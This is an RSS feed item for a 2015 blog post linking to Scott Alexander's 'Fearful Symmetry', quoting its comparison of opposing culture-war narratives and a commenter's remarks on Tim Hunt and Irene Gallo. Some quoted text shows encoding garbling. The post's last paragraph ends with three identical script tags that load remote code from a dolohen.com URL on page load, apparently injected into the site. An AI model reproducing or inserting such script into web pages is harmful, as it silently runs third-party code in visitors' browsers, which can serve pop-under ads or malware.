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		<title>Fearful Symmetry</title>
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		<pubDate>Fri, 19 Jun 2015 18:47:57 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
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		<description><![CDATA[A link to another very good blog post by Scott Alexander on the symmetry between opposing workd views. <a href="http://www.kalyr.co.uk/weblog/uncategorized/fearful-symmetry/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Another very good post by Scott Alexander, <a href="http://slatestarcodex.com/2015/06/14/fearful-symmetry/?utm_source=Sailthru&amp;utm_medium=email&amp;utm_term=Vox%20Newsletter%20All&amp;utm_campaign=New%20Campaign" target="_blank">Fearful Symmetry</a>, which sums up a lot of things I&#8217;ve been thinking for a long while about the parallels between online &#8220;Social Justice Warriors&#8221; and cultural conservatives.</p>
<blockquote><p>The social justice narrative describes a political-economic elite dominated by white males persecuting anybody who doesnâ€™t fit into their culture, like blacks, women, and gays. The anti-social-justice narrative describes an intellectual-cultural elite dominated by social justice activists persecuting anybody who doesnâ€™t fit into their culture, like men, theists, and conservatives. Both are relatively plausible; Congress and millionaires are 80% â€“ 90% white; journalists and the Ivy League are 80% â€“ 90% leftist.</p>
<p>The narratives share a surprising number of other similarities. Both, for example, identify their enemy with the spirit of a discredited mid-twentieth century genocidal philosophy of government; fascists on the one side, communists on the other. Both believe theyâ€™re fighting a war for their very right to exist, despite the lack of any plausible path to reinstituting slavery or transitioning to a Stalinist dictatorship. Both operate through explosions of outrage at salient media examples of their out-group persecuting their in-group.</p>
<p>They have even converged on the same excuse for what their enemies call â€œpoliticizingâ€ previously neutral territory â€“ that what their enemies call â€œpoliticizingâ€ is actually trying to restore balance to a field the other side has already successfully politicized.</p></blockquote>
<p>It&#8217;s a long post, as a lot of Scott Alexander&#8217;s deeper posts tend to be. But it&#8217;s worth your time reading the whole thing even if you don&#8217;t agree with his comclusions. He touches on that pizza parlour refusing to cater for gay weddings, the case of Curtis Yarvin aka Mencius Moldbug being disinvited from a tech conference, and the ongoing car crash of the Sad Puppies Hugo Awards affair, which also gets a lot of mentions in the very long (and largely civil) comment thread that follows.</p>
<p>One commenter, Rachel made a very good point comparing the fate of Tim Hunt, the 72-year old Nobel laureate forced to resign after a bad example of casual sexism, and Irene Gallo, the Tor Books editor accused of slandering a significant proportion of the publishing house&#8217;s authors and readership.</p>
<blockquote><p>I was thinking about the symmetry between Irene Gallo and Tim Hunt. Everyone Iâ€™ve seen <b>(including my own lizard brain)</b> supports precisely one of them and condemns the other.</p>
<p>But trying to think about it objectively, the situations are pretty similar. They made an inaccurate sweeping generalisation about a group, in a way thatâ€™s not directly relevant to their job, but which slandered a lot of people they work with/for. They should probably either both be fired, or both be let alone to express their private opinions.</p></blockquote>
<p>I find myself in complete agreement with that statement, though I&#8217;ve encountered very few others who have expressed that opinion in public. Which suggests that for many the overriding principle is not consistency, but loyalty to the tribe.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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